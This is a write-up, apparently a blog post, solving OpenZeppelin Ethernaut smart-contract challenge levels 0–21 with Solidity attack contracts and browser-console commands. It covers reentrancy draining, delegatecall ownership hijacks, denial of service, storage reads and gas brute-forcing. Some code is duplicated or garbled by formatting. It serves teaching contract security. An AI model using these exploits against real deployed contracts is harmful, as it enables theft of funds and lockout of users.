Post

OpenZepplin Ethernaut

Writeup for OpenZepplin Ethernaut Challenges

OpenZepplin Ethernaut

OpenZeppelin Ethernaut Challenges

Prerequisites & Setup

Tools Needed:

  • Browser with MetaMask wallet
  • Remix IDE (remix.ethereum.org) for deploying attack contracts
  • Browser console (F12) for direct contract interaction
  • Ethernaut platform (ethernaut.openzeppelin.com)

Basic Workflow:

  1. Get level instance from Ethernaut
  2. Analyze the contract code
  3. Deploy attack contract (if needed) via Remix
  4. Execute the attack
  5. Submit instance back to Ethernaut

Console Helpers:

  • player - your wallet address
  • contract - the level instance
  • web3 - web3.js library
  • toWei() - convert ether to wei

Level 0: Hello Ethernaut

Objective: Get familiar with the Ethernaut platform and basic contract interaction via the browser console.

Solution: Open browser console (F12) and interact directly with the contract. Follow the breadcrumb trail.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// In browser console:
await contract.info();
// "You will find what you need in info1()."
await contract.info1();
// "Try info2(), but with "hello" as a parameter."
await contract.info2("hello");
// "The property infoNum holds the number of the next info method to call."
await contract.infoNum();
// returns 42
await contract.info42();
// "theMethodName is the name of the next method."
await contract.theMethodName();
// "The method name is method7123949."
await contract.method7123949();
// "If you know the password, submit it to authenticate()."
const password = await contract.password();
await contract.authenticate(password);

How to Execute:

  1. Open Ethernaut level 0
  2. Get instance
  3. Open browser console (F12)
  4. Run commands one by one
  5. Submit instance

Level 1: Fallback

Objective: Claim ownership of the contract and withdraw all of its funds.

Vulnerability Explained: The contract has a special receive() function that changes ownership when the contract receives Ether. Anyone can trigger this by sending a transaction with Ether directly to the contract address, but only after meeting the prerequisite of being a contributor (having contributed at least some Ether previously).

Solution: Use browser console to interact with the contract directly.

1
2
3
4
5
6
7
8
9
10
// In browser console:
// 1. Contribute a small amount (less than 0.001 ether)
await contract.contribute({ value: toWei('0.0001', 'ether') });

// 2. Send transaction to trigger receive() function
await contract.sendTransaction({ value: toWei('0.0001', 'ether') });

// 3. Verify ownership and withdraw
await contract.owner(); // Should return your player address
await contract.withdraw();

How to Execute:

  1. Get Fallback level instance
  2. Open browser console (F12)
  3. Run the three commands above in order
  4. Check contract balance: await web3.eth.getBalance(contract.address)
  5. Submit instance

Level 2: Fallout

Objective: Claim ownership of the contract.

Vulnerability Explained: The developer misspelled the constructor as Fal1out (using a 1 instead of an l). In older Solidity versions, constructors were named after the contract. This typo makes it a regular public function that anyone can call to become owner.

Solution: Call the misspelled constructor function directly from browser console.

1
2
3
4
5
// In browser console:
await contract.Fal1out();

// Verify you're the owner:
await contract.owner(); // Should return your address

How to Execute:

  1. Get Fallout level instance
  2. Open browser console (F12)
  3. Call await contract.Fal1out()
  4. Verify ownership
  5. Submit instance

Level 3: Coin Flip

Objective: Correctly guess the outcome of a coin flip 10 times in a row.

Vulnerability Explained: The contract uses blockhash(block.number - 1) for randomness, but blockchain data is deterministic and public. An attacker can predict the outcome by replicating the same logic in their contract within the same transaction.

Solution: Deploy an attack contract that predicts the “random” outcome.

Attack Contract (CoinFlipAttack.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ICoinFlip {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipAttack {
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    ICoinFlip public target;

    constructor(address _targetAddress) {
        target = ICoinFlip(_targetAddress);
    }

    function attack() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        target.flip(side);
    }
}

How to Deploy & Execute:

  1. Get CoinFlip level instance
  2. Copy your instance address
  3. Open Remix IDE (remix.ethereum.org)
  4. Create new file CoinFlipAttack.sol and paste the code above
  5. Compile the contract (Solidity ^0.8.0)
  6. Deploy to same network as Ethernaut (Sepolia/Goerli)
  7. In constructor field, paste your CoinFlip instance address
  8. Deploy the contract
  9. Call attack() function 10 times (you can do this quickly)
  10. Check progress: await contract.consecutiveWins() in browser console
  11. Submit instance when consecutiveWins = 10

Level 4: Telephone

Objective: Claim ownership of the Telephone contract.

Vulnerability Explained: The changeOwner() function checks require(tx.origin != msg.sender). When you call a function directly, both values are your address. But when a contract calls the function on your behalf, msg.sender is the contract address while tx.origin remains your wallet address.

Solution: Deploy a contract to call changeOwner() on your behalf.

Attack Contract (TelephoneAttack.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ITelephone {
    function changeOwner(address _owner) external;
}

contract TelephoneAttack {
    ITelephone public target;

    constructor(address _targetAddress) {
        target = ITelephone(_targetAddress);
    }

    function attack() public {
        target.changeOwner(tx.origin);
    }
}

How to Deploy & Execute:

  1. Get Telephone level instance
  2. Open Remix IDE
  3. Create TelephoneAttack.sol with code above
  4. Compile and deploy with your Telephone instance address
  5. Call attack() function
  6. Verify: await contract.owner() in console (should be your address)
  7. Submit instance

Level 5: Token

Objective: Acquire a large number of tokens (you start with 20).

Vulnerability Explained: This contract uses Solidity ^0.6.0 without SafeMath. The transfer function subtracts the transfer amount from your balance without checking for underflow. If you try to transfer more tokens than you have, your balance will underflow to a massive number.

Solution: Cause integer underflow by transferring more tokens than you own.

1
2
3
4
5
6
7
8
9
// In browser console:
// Check initial balance
await contract.balanceOf(player); // Should be 20

// Transfer 21 tokens when you only have 20 - causes underflow
await contract.transfer('0x0000000000000000000000000000000000000001', 21);

// Check new balance - should be huge number
(await contract.balanceOf(player)).toString();

How to Execute:

  1. Get Token level instance
  2. Open browser console
  3. Run the commands above
  4. Your balance should now be approximately 2^256 - 1
  5. Submit instance

Level 6: Delegation

Objective: Claim ownership of the Delegation contract.

Vulnerability Explained: The Delegation contract uses delegatecall to execute code from the Delegate contract, but in the context of the Delegation contract’s storage. The Delegate contract has a pwn() function that sets the caller as owner. When called via delegatecall, it modifies the Delegation contract’s owner variable.

Solution: Send a transaction with the pwn() function selector to trigger delegatecall.

1
2
3
4
5
6
7
8
9
10
// In browser console:
// Method 1: Calculate function selector manually
const data = web3.utils.keccak256("pwn()").slice(0, 10); // Returns 0xdd365b8b
await contract.sendTransaction({ data: data });

// Method 2: Use the known selector directly
await contract.sendTransaction({ data: '0xdd365b8b' });

// Verify you're the owner
await contract.owner(); // Should return your address

How to Execute:

  1. Get Delegation level instance
  2. Open browser console
  3. Send transaction with pwn() selector as data
  4. Verify ownership
  5. Submit instance

Note: The key insight is that sending data ‘0xdd365b8b’ to the Delegation contract triggers its fallback function, which uses delegatecall to execute the pwn() function from the Delegate contract in the Delegation contract’s storage context.

Level 7: Force

Objective: Force the contract to accept Ether (make its balance > 0).

Vulnerability Explained: The Force contract has no payable functions or receive/fallback functions, so it normally can’t receive Ether. However, selfdestruct can forcibly send Ether to any address, even contracts that refuse payments.

Solution: Use selfdestruct to force Ether transfer to the contract.

Attack Contract (ForceAttack.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ForceAttack {
    function attack(address payable _target) public payable {
        selfdestruct(_target);
    }
}

How to Deploy & Execute:

  1. Get Force level instance

  2. Open Remix IDE

  3. Create and deploy ForceAttack.sol

  4. Send some Ether to the deployed attack contract:

    1
    
    // In console, get your attack contract address firstconst attackContractAddress = "YOUR_DEPLOYED_ATTACK_CONTRACT_ADDRESS";// Send Ether to your attack contractawait web3.eth.sendTransaction({  from: player,  to: attackContractAddress,  value: toWei('0.001', 'ether')});
    
  5. Call attack() function with Force instance address as parameter

  6. Verify Force contract balance: await web3.eth.getBalance(contract.address)

  7. Submit instance

Alternative Method (Simpler): Deploy the attack contract with a payable constructor and call attack in one transaction:

contract ForceAttack {
    constructor(address payable _target) payable {
        selfdestruct(_target);
    }
}

Deploy with some Ether value and the Force address as constructor parameter.

Level 8: Vault

Objective: Unlock the vault.

Vulnerability Explained: The password is marked as private, but this only prevents other contracts from reading it. All blockchain data is publicly visible. The password is stored in storage slot 1.

Solution: Read the password directly from blockchain storage.

1
2
3
4
5
6
7
8
9
10
// In browser console:
// The password is stored in storage slot 1 (locked is in slot 0)
const password = await web3.eth.getStorageAt(contract.address, 1);
console.log("Password:", password);

// Unlock the vault
await contract.unlock(password);

// Verify it's unlocked
await contract.locked(); // Should return false

How to Execute:

  1. Get Vault level instance
  2. Open browser console
  3. Read storage slot 1 to get password
  4. Call unlock with the password
  5. Verify locked status is false
  6. Submit instance

Understanding Storage:

  • Slot 0: locked (bool)
  • Slot 1: password (bytes32)
  • All storage is public on blockchain despite private keyword

Level 9: King

Objective: Become king and prevent others from claiming the throne.

Vulnerability Explained: The contract uses transfer() to refund the previous king. If the previous king is a contract whose receive/fallback function reverts or consumes too much gas, the transfer will fail, causing the entire receive function to revert and preventing anyone from becoming the new king.

Solution: Deploy a contract that rejects payments to break future king changes.

Attack Contract (KingAttack.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract KingAttack {
    function attack(address payable _target) public payable {
        // Become king by sending more than the current prize
        (bool success, ) = _target.call{value: msg.value}("");
        require(success, "Failed to become king");
    }

    // Reject all incoming payments to break the contract
    receive() external payable {
        revert("Payment rejected");
    }
}

How to Deploy & Execute:

  1. Get King level instance

  2. Check current prize: await contract.prize() in console

  3. Open Remix IDE and deploy KingAttack.sol

  4. Call

    1
    
    attack()
    

    function with Ether value > current prize:

    • In Remix, set value field to more than the prize amount
    • Pass your King instance address as _target parameter
  5. Verify you’re king: await contract._king() should return your attack contract address

  6. Test the DoS: Have someone else try to become king (they should fail)

  7. Submit instance

Key Point: Once your contract is king, anyone trying to claim the throne will fail because your contract’s receive() function reverts, causing the entire transaction to fail.

Level 10: Re-entrancy

Objective: Steal all the Ether from the contract.

Vulnerability Explained: The withdraw() function follows the dangerous pattern of: check balance → send Ether → update balance. During the Ether transfer, the recipient’s receive/fallback function can call withdraw() again before the balance is updated, allowing multiple withdrawals of the same funds.

Solution: Deploy a contract that re-enters the withdraw function to drain all funds.

Attack Contract (ReentrancyAttack.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IReentrance {
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
}

contract ReentrancyAttack {
    IReentrance public target;
    uint public amount;

    constructor(address _target) {
        target = IReentrance(_target);
    }

    function attack() public payable {
        require(msg.value > 0, "Send some Ether");
        amount = msg.value;
        
        // First, donate to establish a balance
        target.donate{value: amount}(address(this));
        
        // Then withdraw to trigger the reentrancy
        target.withdraw(amount);
    }

    receive() external payable {
        // Continue withdrawing while the target has funds
        if (address(target).balance >= amount) {
            target.withdraw(amount);
        }
    }

    function withdrawFunds() public {
        payable(msg.sender).transfer(address(this).balance);
    }
}

How to Deploy & Execute:

  1. Get Reentrance level instance

  2. Check target balance: await web3.eth.getBalance(contract.address)

  3. Open Remix IDE and deploy ReentrancyAttack.sol with your instance address

  4. Call

    1
    
    attack()
    

    function with some Ether (e.g., 0.001 ETH)

    • The attack will repeatedly withdraw until the target is drained
  5. Call withdrawFunds() to collect the stolen Ether

  6. Verify target is empty: await web3.eth.getBalance(contract.address) should be 0

  7. Submit instance

Attack Flow:

  1. Donate Ether to establish balance in target contract
  2. Call withdraw() - target sends Ether back
  3. receive() function is triggered and calls withdraw() again
  4. Repeat until target is drained

Level 11: Elevator

Objective: Reach the top floor of the elevator.

Vulnerability Explained: The Elevator contract calls building.isLastFloor() twice in the same transaction, assuming it will return the same value both times. An attacker can create a malicious Building contract that returns different values on each call.

Solution: Create a malicious Building contract that lies about floor status.

Attack Contract (ElevatorAttack.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IBuilding {
    function isLastFloor(uint) external returns (bool);
}

interface IElevator {
    function goTo(uint _floor) external;
}

contract ElevatorAttack is IBuilding {
    bool private firstCall = true;

    function isLastFloor(uint) public returns (bool) {
        if (firstCall) {
            firstCall = false;
            return false; // First call: not last floor
        } else {
            return true;  // Second call: is last floor
        }
    }

    function attack(address _target) public {
        IElevator(_target).goTo(1);
    }
}

How to Deploy & Execute:

  1. Get Elevator level instance
  2. Open Remix IDE and deploy ElevatorAttack.sol
  3. Call attack() function with your Elevator instance address
  4. Verify success: await contract.top() should return true
  5. Submit instance

How it Works:

  • First call to isLastFloor() returns false (passes the if condition)
  • Second call to isLastFloor() returns true (sets top = true)
  • The contract lies by returning different values for the same floor

Level 12: Privacy

Objective: Unlock the contract.

Vulnerability Explained: Similar to Vault, but with storage packing complexity. Variables are packed into 32-byte slots. The key is data[2], which is a bytes32 stored in slot 5, but the unlock function expects bytes16.

Storage layout:

  • Slot 0: locked (bool)
  • Slot 1: ID (uint256)
  • Slot 2: flattening (uint8), denomination (uint8), awkwardness (uint16) - packed
  • Slot 3: data[0] (bytes32)
  • Slot 4: data[1] (bytes32)
  • Slot 5: data[2] (bytes32)

Solution: Read the key from storage and convert to the required format.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// In browser console:
// Storage layout analysis:
// Slot 0: locked (bool)
// Slot 1: ID (uint256)
// Slot 2: flattening (uint8), denomination (uint8), awkwardness (uint16) - packed
// Slot 3: data[0] (bytes32)
// Slot 4: data[1] (bytes32)  
// Slot 5: data[2] (bytes32) <- This is our key

// Read bytes32 from storage slot 5
const key32 = await web3.eth.getStorageAt(contract.address, 5);
console.log("Full key (bytes32):", key32);

// Convert to bytes16 by taking first 16 bytes (32 hex chars + '0x' = 34 total)
const key16 = key32.slice(0, 34);
console.log("Key (bytes16):", key16);

// Unlock the contract
await contract.unlock(key16);

// Verify it's unlocked
await contract.locked(); // Should return false

How to Execute:

  1. Get Privacy level instance
  2. Open browser console
  3. Read storage slot 5 to get data[2]
  4. Convert bytes32 to bytes16 by truncating
  5. Call unlock with the key
  6. Submit instance

Key Insight: Private variables are not secret - they’re just inaccessible to other contracts. All blockchain storage is publicly readable.

Level 13: Gatekeeper One

Objective: Register as an entrant by passing three gates.

Gates:

  1. msg.sender != tx.origin (must use a contract)
  2. gasleft() % 8191 == 0 (specific gas requirement)
  3. Complex key construction with type casting requirements

Solution: Deploy a contract that solves all three gate requirements.

Attack Contract (GatekeeperOneAttack.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperOne {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperOneAttack {
    function attack(address _target) public {
        // Gate 3: Construct the key with proper bit masking
        // We need: uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
        // And: uint32(uint64(_gateKey)) != uint64(_gateKey)
        // And: uint16(uint64(_gateKey)) == uint16(tx.origin)
        
        bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
        
        // Gate 2: Brute force the gas amount
        // The check is gasleft() % 8191 == 0
        for (uint256 i = 0; i < 8191; i++) {
            try IGatekeeperOne(_target).enter{gas: 81910 + i}(key) {
                break;
            } catch {}
        }
    }
}

How to Deploy & Execute:

  1. Get GatekeeperOne level instance

  2. Open Remix IDE and deploy GatekeeperOneAttack.sol

  3. Call

    1
    
    attack()
    

    function with your GatekeeperOne instance address

    • The function will try different gas amounts until it finds one that works
  4. Verify success: await contract.entrant() should return your address

  5. Submit instance

Gate Explanations:

  • Gate 1: msg.sender != tx.origin - Requires contract call
  • Gate 2: gasleft() % 8191 == 0 - Specific gas requirement (brute force)
  • Gate 3: Complex key construction with bit masking to satisfy type casting requirements

Key Construction: The mask 0xFFFFFFFF0000FFFF ensures:

  • Lower 16 bits match tx.origin
  • Upper 32 bits of uint32 are different from uint64
  • Satisfies all three conditions in gate three for (uint256 i = 0; i < 8191; i++) { try IGatekeeperOne(_target).enter{gas: 81910 + i}(key) { break; } catch {} } } }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
## Level 14: Gatekeeper Two

**Objective:** Pass three different gates.

**Gates:**
1. `msg.sender != tx.origin` (must use contract)
2. `extcodesize(caller()) == 0` (code size must be 0 - only true during construction)
3. XOR puzzle: `uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1`

**Solution:** Attack during contract construction when code size is zero.

**Attack Contract (`GatekeeperTwoAttack.sol`):**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperTwo {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperTwoAttack {
    constructor(address _target) {
        // Gate 3: Solve the XOR equation
        // uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1
        // Since A ^ B = C, then A ^ C = B
        uint64 a = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
        uint64 c = type(uint64).max; // This is uint64(0) - 1, which equals 2^64 - 1
        bytes8 key = bytes8(a ^ c);
        
        // Must call enter() from constructor to pass gate 2 (code size == 0)
        IGatekeeperTwo(_target).enter(key);
    }
}

How to Deploy & Execute:

  1. Get GatekeeperTwo level instance
  2. Open Remix IDE
  3. Create GatekeeperTwoAttack.sol with the code above
  4. Compile the contract
  5. Deploy with your GatekeeperTwo instance address as constructor parameter
    • The entire attack happens during deployment!
  6. Verify success: await contract.entrant() should return your attack contract address
  7. Submit instance

Gate Explanations:

  • Gate 1: msg.sender != tx.origin - Contract call required
  • Gate 2: extcodesize(caller()) == 0 - Code size is only 0 during construction
  • Gate 3: XOR equation solved using the property A ^ B = C → A ^ C = B

Key Point: The attack must execute entirely within the constructor because that’s the only time when extcodesize() returns 0.

Level 15: Naught Coin

Objective: Transfer your tokens despite the time lock on transfer().

Vulnerability Explained: The contract locks the standard transfer() function but forgets about the ERC20 approve()/transferFrom() mechanism. You can approve yourself to spend your tokens, then use transferFrom() to move them.

Solution: Use the ERC20 approve/transferFrom mechanism to bypass the transfer lock.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// In browser console:
// Check your current balance
const balance = await contract.balanceOf(player);
console.log("Your balance:", balance.toString());

// Approve yourself to spend your tokens
await contract.approve(player, balance);

// Verify the approval
const allowance = await contract.allowance(player, player);
console.log("Allowance:", allowance.toString());

// Use transferFrom to move tokens (bypasses the transfer() lock)
await contract.transferFrom(player, "0x0000000000000000000000000000000000000001", balance);

// Verify your balance is now 0
const newBalance = await contract.balanceOf(player);
console.log("New balance:", newBalance.toString());

How to Execute:

  1. Get NaughtCoin level instance
  2. Open browser console
  3. Check your initial balance (should be 1,000,000 tokens)
  4. Approve yourself to spend your tokens
  5. Use transferFrom to transfer tokens to any address
  6. Verify your balance is now 0
  7. Submit instance

Key Insight: The contract only locks the transfer() function but forgets about approve()/transferFrom() - both are standard ERC20 mechanisms for moving tokens. You can approve yourself and then transfer from yourself to another address.

Level 16: Preservation

Objective: Claim ownership of the contract.

Vulnerability Explained: The contract uses delegatecall with user-controlled library addresses. An attacker can replace the library address with their own malicious contract. The storage layout must match for the attack to work correctly.

Solution: Two-step attack to hijack the library and overwrite the owner.

Attack Contract (PreservationAttack.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PreservationAttack {
    // Storage layout MUST match the target contract exactly
    address public timeZone1Library; // slot 0
    address public timeZone2Library; // slot 1  
    address public owner;           // slot 2
    uint storedTime;                // slot 3

    function setTime(uint _time) public {
        owner = tx.origin; // Overwrite slot 2 (owner) with attacker's address
    }
}

How to Deploy & Execute:

  1. Get Preservation level instance
  2. Open Remix IDE and deploy PreservationAttack.sol
  3. Copy your deployed attack contract address

Step 1: Hijack the library

1
2
3
4
5
6
7
8
9
10
// In browser console:
const attackContractAddress = "YOUR_DEPLOYED_ATTACK_CONTRACT_ADDRESS";

// This overwrites timeZone1Library (slot 0) with our attack contract address
await contract.setFirstTime(attackContractAddress);

// Verify the library was replaced
const newLib = await contract.timeZone1Library();
console.log("New library address:", newLib);
console.log("Should match attack contract:", attackContractAddress);

Step 2: Overwrite the owner

1
2
3
4
5
6
7
8
// Now when we call setFirstTime, it will delegatecall to our attack contract
// The value doesn't matter - our setTime function ignores it and sets owner = tx.origin
await contract.setFirstTime(0);

// Verify you're the owner
const newOwner = await contract.owner();
console.log("New owner:", newOwner);
console.log("Your address:", player);
  1. Submit instance

How it Works:

  1. First call replaces the library address with our malicious contract
  2. Second call executes our malicious setTime() function via delegatecall
  3. Our function writes tx.origin (your address) to storage slot 2 (owner position)

Level 17: Recovery

Objective: Recover 0.001 ether from a lost contract.

Vulnerability Explained: Contract addresses are deterministically computed using keccak256(rlp([creator_address, nonce])). Since we know the creator and this was their first contract creation (nonce = 1), we can compute the address.

Solution: Calculate the lost contract address and call its destroy function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Method 1: Calculate the address
const nonce = 1;
const lostAddress = ethers.utils.getContractAddress({
    from: contract.address,
    nonce: nonce
});

// Method 2: Or derive it manually
// const lostAddress = "0x" + web3.utils.keccak256(
//     web3.eth.abi.encodeParameters(
//         ['address', 'uint'], 
//         [contract.address, nonce]
//     )
// ).slice(-40);

// Create contract instance and call destroy
const tokenAbi = ["function destroy(address payable to) public"];
const lostContract = new ethers.Contract(lostAddress, tokenAbi, signer);
await lostContract.destroy(player);

Level 18: MagicNumber

Objective: Create a solver that returns 42, with deployed bytecode ≤ 10 bytes.

Vulnerability Explained: This requires writing raw EVM bytecode since Solidity produces too much overhead. The solution needs initialization code that returns the minimal runtime code.

Solution: Write a contract that deploys the minimal bytecode.

Solver Contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MagicNumberSolver {
    constructor() {
        assembly {
            // Runtime code: 602a60005260206000f3 (10 bytes)
            // 602a    - PUSH1 0x2a (push 42)
            // 6000    - PUSH1 0x00 (push 0 - memory location)  
            // 52      - MSTORE (store 42 at memory position 0)
            // 6020    - PUSH1 0x20 (push 32 - return size)
            // 6000    - PUSH1 0x00 (push 0 - return position)
            // f3      - RETURN
            
            mstore(0x00, 0x602a60005260206000f3000000000000000000000000000000000000000000)
            return(0x16, 0x0a) // Return 10 bytes starting at position 0x16
        }
    }
}

Deploy this contract and submit its address.

Level 19: Alien Codex

Objective: Claim ownership of the contract.

Vulnerability Explained: Array length underflow in retract() combined with dynamic array storage exploitation. Arrays in storage start at keccak256(slot) and the owner is in slot 0. By underflowing the array length and calculating the right index, you can overwrite slot 0.

Solution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Step 1: Pass the contact requirement
await contract.make_contact();

// Step 2: Underflow the array length
await contract.retract();

// Step 3: Calculate the index that maps to storage slot 0
// Array starts at keccak256(1), so we need index = 2^256 - keccak256(1)
const slot = web3.utils.soliditySha3({type: 'uint256', value: 1});
const maxUint256 = web3.utils.toBN('2').pow(web3.utils.toBN('256'));
const index = maxUint256.sub(web3.utils.toBN(slot));

// Step 4: Write your address to that index
const paddedAddress = web3.utils.padLeft(player, 64);
await contract.revise(index, paddedAddress);

Level 20: Denial

Objective: Perform a denial of service attack on the withdraw function.

Vulnerability Explained: The withdraw() function uses call() without gas limits to send Ether to the partner. A malicious partner contract can consume all available gas, causing the withdrawal to always fail.

Solution: Become the partner with a gas-consuming contract.

Attacker Contract (DenialAttack.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract DenialAttack {
    receive() external payable {
        // Infinite loop to consume all gas
        while(true) {}
    }
}
// Deploy attacker and set as partner
await contract.setWithdrawPartner(attackerAddress);

Level 21: Shop

Objective: Purchase an item for less than the asking price.

Vulnerability Explained: The buy() function calls price() twice - once for validation and once for payment. It assumes both calls return the same value, but an attacker can return different prices based on the shop’s state.

Solution: Create a buyer contract that returns different prices based on shop state.

Attack Contract (ShopAttack.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IShop {
    function buy() external;
    function price() external view returns (uint);
    function isSold() external view returns (bool);
}

contract ShopAttack {
    IShop public target;

    constructor(address _target) {
        target = IShop(_target);
    }

    // This function is called twice by the Shop contract
    function price() external view returns (uint) {
        // First call: item is not sold yet, return high price to pass validation
        // Second call: item is sold, return low price for actual payment
        return target.isSold() ? 1 : 101;
    }

    function attack() public {
        target.buy();
    }
}

How to Deploy & Execute:

  1. Get Shop level instance

  2. Check initial state:

    1
    
    // In browser console:await contract.isSold(); // Should be falseawait contract.price();  // Should be 100
    
  3. Open Remix IDE and deploy ShopAttack.sol with your Shop instance address

  4. Call the attack() function

  5. Verify the exploit worked:

    1
    
    // Check final stateawait contract.isSold(); // Should be trueawait contract.price();  // Should be 1 (or whatever low price you set)// Most importantly, check you bought it for less than 100console.log("Item purchased successfully for less than 100!");
    
  6. Submit instance

How it Works:

  1. Shop calls price() first time → returns 101 (passes the ≥ 100 check)
  2. Shop sets isSold = true
  3. Shop calls price() second time → returns 1 (low payment amount)
  4. You successfully buy a 100-wei item for only 1 wei

Key Insight: The Shop contract assumes the price won’t change between the validation check and the payment, but our malicious contract exploits this assumption by checking the shop’s state and returning different values.

This post is licensed under CC BY 4.0 by the author.